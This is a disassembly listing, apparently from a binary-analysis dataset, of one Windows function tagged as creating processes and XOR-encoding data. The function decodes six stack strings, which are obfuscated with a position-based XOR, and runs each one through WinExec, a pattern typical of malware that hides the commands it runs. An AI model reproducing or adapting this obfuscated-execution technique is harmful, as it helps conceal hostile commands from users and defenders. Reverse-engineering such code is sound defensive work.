Function at 0x4040a0
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
movaps xmm0, xmmword [0x503970]
xor edx, edx
movups xmm4, xmmword [0x5037a0]
push esi
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0xc], 0x1c070a17
movaps xmm0, xmmword [0x503900]
movups xmmword [ebp - 0x3c], xmm0
mov word [ebp - 8], 0xa
movaps xmm0, xmmword [0x5037b0]
movups xmmword [ebp - 0x2c], xmm0
mov byte [ebp - 6], 1
movaps xmm0, xmmword [0x503920]
movups xmmword [ebp - 0x1c], xmm0
mov dword [ebp - 4], edx
push edi
mov edi, dword [ebp - 4]
lea ecx, [edx - 3]
movd xmm0, edx
lea eax, [edx - 2]
pshufd xmm1, xmm0, 0
movd xmm0, dword [ebp + edx - 0x4c]
paddd xmm1, xmmword [0x503a40]
lea esi, [edi - 5]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm3, esi
lea esi, [edi + 3]
xorps xmm1, xmm0
movd xmm2, eax
andps xmm1, xmm4
movd xmm0, ecx
punpckldq xmm3, xmm0
lea ecx, [edi + 1]
packuswb xmm1, xmm1
lea eax, [edi + 2]
packuswb xmm1, xmm1
movd dword [ebp + edx - 0x4c], xmm1
add edx, 0xfffffffc
movd xmm0, dword [ebp + edi - 0x48]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm1, edx
lea edx, [edi - 1]
punpckldq xmm1, xmm2
punpckldq xmm3, xmm1
xorps xmm3, xmm0
movd xmm2, eax
andps xmm3, xmm4
movd xmm0, ecx
packuswb xmm3, xmm3
lea ecx, [edi + 5]
packuswb xmm3, xmm3
lea eax, [edi + 6]
movd dword [ebp + edi - 0x48], xmm3
movd xmm3, edx
lea edx, [edi + 4]
punpckldq xmm3, xmm0
movd xmm0, dword [ebp + edi - 0x44]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm1, edi
punpckldq xmm1, xmm2
punpckldq xmm3, xmm1
xorps xmm3, xmm0
movd xmm1, edx
andps xmm3, xmm4
movd xmm0, ecx
packuswb xmm3, xmm3
mov edx, edi
packuswb xmm3, xmm3
movd dword [ebp + edi - 0x44], xmm3
movd xmm3, esi
punpckldq xmm3, xmm0
movd xmm0, dword [ebp + edx - 0x40]
punpcklbw xmm0, xmm0
movd xmm2, eax
punpcklwd xmm0, xmm0
punpckldq xmm1, xmm2
punpckldq xmm3, xmm1
psrad xmm0, 0x18
xorps xmm3, xmm0
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd dword [ebp + edx - 0x40], xmm3
add edx, 0x10
mov dword [ebp - 4], edx
cmp edx, 0x40
jb 0x4040f1
cmp edx, 0x45
jae 0x40423d
nop dword [eax]
lea eax, [edx - 9]
xor byte [ebp + edx - 0x4c], al
inc edx
cmp edx, 0x45
jb 0x404230
push 0
lea eax, [ebp - 0x4c]
mov byte [ebp - 6], 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
movaps xmm0, xmmword [0x503970]
xor edx, edx
movups xmm4, xmmword [0x5037a0]
mov dword [ebp - 0x10], 0x8195442
movaps xmm5, xmmword [0x503a40]
movups xmmword [ebp - 0x50], xmm0
mov dword [ebp - 0xc], 0xc1a05
movaps xmm0, xmmword [0x503900]
movups xmmword [ebp - 0x40], xmm0
mov byte [ebp - 8], 1
movaps xmm0, xmmword [0x5037d0]
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 4], edx
movaps xmm0, xmmword [0x503910]
movups xmmword [ebp - 0x20], xmm0
nop
mov edi, dword [ebp - 4]
lea ecx, [edx - 3]
movd xmm0, edx
lea eax, [edx - 2]
pshufd xmm1, xmm0, 0
movd xmm0, dword [ebp + edx - 0x50]
paddd xmm1, xmm5
punpcklbw xmm0, xmm0
lea esi, [edi - 5]
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm3, esi
lea esi, [edi + 3]
xorps xmm1, xmm0
movd xmm2, eax
andps xmm1, xmm4
movd xmm0, ecx
punpckldq xmm3, xmm0
lea ecx, [edi + 1]
packuswb xmm1, xmm1
lea eax, [edi + 2]
packuswb xmm1, xmm1
movd dword [ebp + edx - 0x50], xmm1
add edx, 0xfffffffc
movd xmm0, dword [ebp + edi - 0x4c]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm1, edx
lea edx, [edi - 1]
punpckldq xmm1, xmm2
punpckldq xmm3, xmm1
xorps xmm3, xmm0
movd xmm2, eax
andps xmm3, xmm4
movd xmm0, ecx
packuswb xmm3, xmm3
lea ecx, [edi + 5]
packuswb xmm3, xmm3
lea eax, [edi + 6]
movd dword [ebp + edi - 0x4c], xmm3
movd xmm3, edx
lea edx, [edi + 4]
punpckldq xmm3, xmm0
movd xmm0, dword [ebp + edi - 0x48]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm1, edi
punpckldq xmm1, xmm2
punpckldq xmm3, xmm1
xorps xmm3, xmm0
movd xmm1, edx
andps xmm3, xmm4
movd xmm0, ecx
packuswb xmm3, xmm3
mov edx, edi
packuswb xmm3, xmm3
movd dword [ebp + edi - 0x48], xmm3
movd xmm3, esi
punpckldq xmm3, xmm0
movd xmm0, dword [ebp + edx - 0x44]
punpcklbw xmm0, xmm0
movd xmm2, eax
punpcklwd xmm0, xmm0
punpckldq xmm1, xmm2
punpckldq xmm3, xmm1
psrad xmm0, 0x18
xorps xmm3, xmm0
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd dword [ebp + edx - 0x44], xmm3
add edx, 0x10
mov dword [ebp - 4], edx
cmp edx, 0x40
jb 0x4042a0
cmp edx, 0x47
jae 0x4043e4
lea eax, [edx - 9]
xor byte [ebp + edx - 0x50], al
inc edx
cmp edx, 0x47
jb 0x4043d7
push 0
lea eax, [ebp - 0x50]
mov byte [ebp - 8], 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
movaps xmm0, xmmword [0x503970]
xor edx, edx
movups xmm4, xmmword [0x5037a0]
mov dword [ebp - 0x14], 0x4f570617
movups xmmword [ebp - 0x54], xmm0
mov dword [ebp - 0x10], 0xf1c57
movaps xmm0, xmmword [0x503900]
movups xmmword [ebp - 0x44], xmm0
mov dword [ebp - 0xc], 0x1007119
movaps xmm0, xmmword [0x503870]
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 4], edx
movaps xmm0, xmmword [0x503930]
movups xmmword [ebp - 0x24], xmm0
mov edi, dword [ebp - 4]
lea ecx, [edx - 3]
movd xmm0, edx
lea eax, [edx - 2]
pshufd xmm1, xmm0, 0
movd xmm0, dword [ebp + edx - 0x54]
paddd xmm1, xmmword [0x503a40]
lea esi, [edi - 5]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm3, esi
lea esi, [edi + 3]
xorps xmm1, xmm0
movd xmm2, eax
andps xmm1, xmm4
movd xmm0, ecx
punpckldq xmm3, xmm0
lea ecx, [edi + 1]
packuswb xmm1, xmm1
lea eax, [edi + 2]
packuswb xmm1, xmm1
movd dword [ebp + edx - 0x54], xmm1
add edx, 0xfffffffc
movd xmm0, dword [ebp + edi - 0x50]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm1, edx
lea edx, [edi - 1]
punpckldq xmm1, xmm2
punpckldq xmm3, xmm1
xorps xmm3, xmm0
movd xmm2, eax
andps xmm3, xmm4
movd xmm0, ecx
packuswb xmm3, xmm3
lea ecx, [edi + 5]
packuswb xmm3, xmm3
lea eax, [edi + 6]
movd dword [ebp + edi - 0x50], xmm3
movd xmm3, edx
lea edx, [edi + 4]
punpckldq xmm3, xmm0
movd xmm0, dword [ebp + edi - 0x4c]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm1, edi
punpckldq xmm1, xmm2
punpckldq xmm3, xmm1
xorps xmm3, xmm0
movd xmm1, edx
andps xmm3, xmm4
movd xmm0, ecx
packuswb xmm3, xmm3
mov edx, edi
packuswb xmm3, xmm3
movd dword [ebp + edi - 0x4c], xmm3
movd xmm3, esi
punpckldq xmm3, xmm0
movd xmm0, dword [ebp + edx - 0x48]
punpcklbw xmm0, xmm0
movd xmm2, eax
punpcklwd xmm0, xmm0
punpckldq xmm1, xmm2
punpckldq xmm3, xmm1
psrad xmm0, 0x18
xorps xmm3, xmm0
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd dword [ebp + edx - 0x48], xmm3
add edx, 0x10
mov dword [ebp - 4], edx
cmp edx, 0x40
jb 0x404441
cmp edx, 0x4a
jae 0x40458d
nop dword [eax]
lea eax, [edx - 9]
xor byte [ebp + edx - 0x54], al
inc edx
cmp edx, 0x4a
jb 0x404580
push 0
lea eax, [ebp - 0x54]
mov byte [ebp - 9], 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
movaps xmm0, xmmword [0x503990]
xor edx, edx
movups xmm4, xmmword [0x5037a0]
mov dword [ebp - 0x14], 0x24397765
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x10], 0x3e716975
movaps xmm0, xmmword [0x5038b0]
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0xc], 0x13071e2d
mov word [ebp - 8], 0x100
mov dword [ebp - 4], edx
nop word [eax + eax]
mov edi, dword [ebp - 4]
lea ecx, [edx - 3]
movd xmm0, edx
lea eax, [edx - 2]
pshufd xmm1, xmm0, 0
movd xmm0, dword [ebp + edx - 0x34]
paddd xmm1, xmmword [0x503a40]
lea esi, [edi - 5]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm3, esi
lea esi, [edi + 3]
xorps xmm1, xmm0
movd xmm2, eax
andps xmm1, xmm4
movd xmm0, ecx
punpckldq xmm3, xmm0
lea ecx, [edi + 1]
packuswb xmm1, xmm1
lea eax, [edi + 2]
packuswb xmm1, xmm1
movd dword [ebp + edx - 0x34], xmm1
add edx, 0xfffffffc
movd xmm0, dword [ebp + edi - 0x30]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm1, edx
lea edx, [edi - 1]
punpckldq xmm1, xmm2
punpckldq xmm3, xmm1
xorps xmm3, xmm0
movd xmm2, eax
andps xmm3, xmm4
movd xmm0, ecx
packuswb xmm3, xmm3
lea ecx, [edi + 5]
packuswb xmm3, xmm3
lea eax, [edi + 6]
movd dword [ebp + edi - 0x30], xmm3
movd xmm3, edx
lea edx, [edi + 4]
punpckldq xmm3, xmm0
movd xmm0, dword [ebp + edi - 0x2c]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm1, edi
punpckldq xmm1, xmm2
punpckldq xmm3, xmm1
xorps xmm3, xmm0
movd xmm1, edx
andps xmm3, xmm4
movd xmm0, ecx
packuswb xmm3, xmm3
mov edx, edi
packuswb xmm3, xmm3
movd dword [ebp + edi - 0x2c], xmm3
movd xmm3, esi
punpckldq xmm3, xmm0
movd xmm0, dword [ebp + edx - 0x28]
punpcklbw xmm0, xmm0
movd xmm2, eax
punpcklwd xmm0, xmm0
punpckldq xmm1, xmm2
punpckldq xmm3, xmm1
psrad xmm0, 0x18
xorps xmm3, xmm0
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd dword [ebp + edx - 0x28], xmm3
add edx, 0x10
mov dword [ebp - 4], edx
cmp edx, 0x20
jb 0x4045e0
cmp edx, 0x2c
jae 0x40472d
nop dword [eax + eax]
lea eax, [edx - 9]
xor byte [ebp + edx - 0x34], al
inc edx
cmp edx, 0x2c
jb 0x404720
push 0
lea eax, [ebp - 0x34]
mov byte [ebp - 7], 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
movaps xmm0, xmmword [0x503970]
xor edx, edx
movups xmm4, xmmword [0x5037a0]
mov dword [ebp - 0x10], 0xa455d49
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0xc], 0x1f0b1219
movaps xmm0, xmmword [0x503940]
movups xmmword [ebp - 0x30], xmm0
mov word [ebp - 8], 0x100
movaps xmm0, xmmword [0x5037f0]
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 4], edx
nop
mov edi, dword [ebp - 4]
lea ecx, [edx - 3]
movd xmm0, edx
lea eax, [edx - 2]
pshufd xmm1, xmm0, 0
movd xmm0, dword [ebp + edx - 0x40]
paddd xmm1, xmmword [0x503a40]
lea esi, [edi - 5]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm3, esi
lea esi, [edi + 3]
xorps xmm1, xmm0
movd xmm2, eax
andps xmm1, xmm4
movd xmm0, ecx
punpckldq xmm3, xmm0
lea ecx, [edi + 1]
packuswb xmm1, xmm1
lea eax, [edi + 2]
packuswb xmm1, xmm1
movd dword [ebp + edx - 0x40], xmm1
add edx, 0xfffffffc
movd xmm0, dword [ebp + edi - 0x3c]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm1, edx
lea edx, [edi - 1]
punpckldq xmm1, xmm2
punpckldq xmm3, xmm1
xorps xmm3, xmm0
movd xmm2, eax
andps xmm3, xmm4
movd xmm0, ecx
packuswb xmm3, xmm3
lea ecx, [edi + 5]
packuswb xmm3, xmm3
lea eax, [edi + 6]
movd dword [ebp + edi - 0x3c], xmm3
movd xmm3, edx
lea edx, [edi + 4]
punpckldq xmm3, xmm0
movd xmm0, dword [ebp + edi - 0x38]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm1, edi
punpckldq xmm1, xmm2
punpckldq xmm3, xmm1
xorps xmm3, xmm0
movd xmm1, edx
andps xmm3, xmm4
movd xmm0, ecx
packuswb xmm3, xmm3
mov edx, edi
packuswb xmm3, xmm3
movd dword [ebp + edi - 0x38], xmm3
movd xmm3, esi
punpckldq xmm3, xmm0
movd xmm0, dword [ebp + edx - 0x34]
punpcklbw xmm0, xmm0
movd xmm2, eax
punpcklwd xmm0, xmm0
punpckldq xmm1, xmm2
punpckldq xmm3, xmm1
psrad xmm0, 0x18
xorps xmm3, xmm0
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd dword [ebp + edx - 0x34], xmm3
add edx, 0x10
mov dword [ebp - 4], edx
cmp edx, 0x30
jb 0x404780
cmp edx, 0x38
jae 0x4048cd
nop dword [eax + eax]
lea eax, [edx - 9]
xor byte [ebp + edx - 0x40], al
inc edx
cmp edx, 0x38
jb 0x4048c0
push 0
lea eax, [ebp - 0x40]
mov byte [ebp - 7], 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
movaps xmm0, xmmword [0x503830]
xor eax, eax
movups xmm4, xmmword [0x5037a0]
mov word [ebp - 8], 0x66
movups xmmword [ebp - 0x68], xmm0
mov byte [ebp - 6], 1
movaps xmm0, xmmword [0x503850]
movups xmmword [ebp - 0x58], xmm0
movaps xmm0, xmmword [0x5038e0]
movups xmmword [ebp - 0x48], xmm0
movaps xmm0, xmmword [0x5038d0]
movups xmmword [ebp - 0x38], xmm0
movaps xmm0, xmmword [0x503820]
movups xmmword [ebp - 0x28], xmm0
movaps xmm0, xmmword [0x503980]
movups xmmword [ebp - 0x18], xmm0
movd xmm0, eax
lea edx, [eax - 3]
pshufd xmm1, xmm0, 0
lea edi, [eax - 5]
movd xmm0, dword [ebp + eax - 0x68]
lea ecx, [eax - 2]
paddd xmm1, xmmword [0x503a40]
lea esi, [eax - 4]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm3, edi
lea edi, [eax + 3]
xorps xmm1, xmm0
movd xmm2, ecx
andps xmm1, xmm4
movd xmm0, edx
punpckldq xmm3, xmm0
lea edx, [eax + 1]
packuswb xmm1, xmm1
lea ecx, [eax + 2]
packuswb xmm1, xmm1
movd dword [ebp + eax - 0x68], xmm1
movd xmm0, dword [ebp + eax - 0x64]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm1, esi
lea esi, [eax - 1]
punpckldq xmm1, xmm2
punpckldq xmm3, xmm1
xorps xmm3, xmm0
movd xmm2, ecx
andps xmm3, xmm4
movd xmm0, edx
packuswb xmm3, xmm3
lea edx, [eax + 5]
packuswb xmm3, xmm3
lea ecx, [eax + 6]
movd dword [ebp + eax - 0x64], xmm3
movd xmm3, esi
lea esi, [eax + 4]
punpckldq xmm3, xmm0
movd xmm0, dword [ebp + eax - 0x60]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm1, eax
punpckldq xmm1, xmm2
punpckldq xmm3, xmm1
xorps xmm3, xmm0
movd xmm2, ecx
andps xmm3, xmm4
movd xmm0, edx
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd dword [ebp + eax - 0x60], xmm3
movd xmm3, edi
punpckldq xmm3, xmm0
movd xmm0, dword [ebp + eax - 0x5c]
punpcklbw xmm0, xmm0
movd xmm1, esi
punpcklwd xmm0, xmm0
punpckldq xmm1, xmm2
punpckldq xmm3, xmm1
psrad xmm0, 0x18
xorps xmm3, xmm0
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd dword [ebp + eax - 0x5c], xmm3
add eax, 0x10
cmp eax, 0x60
jb 0x404932
pop edi
pop esi
cmp eax, 0x61
jae 0x404a74
lea ecx, [eax - 9]
xor byte [ebp + eax - 0x68], cl
inc eax
cmp eax, 0x61
jb 0x404a67
push 0
lea eax, [ebp - 0x68]
mov byte [ebp - 6], 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esp, ebp
pop ebp
ret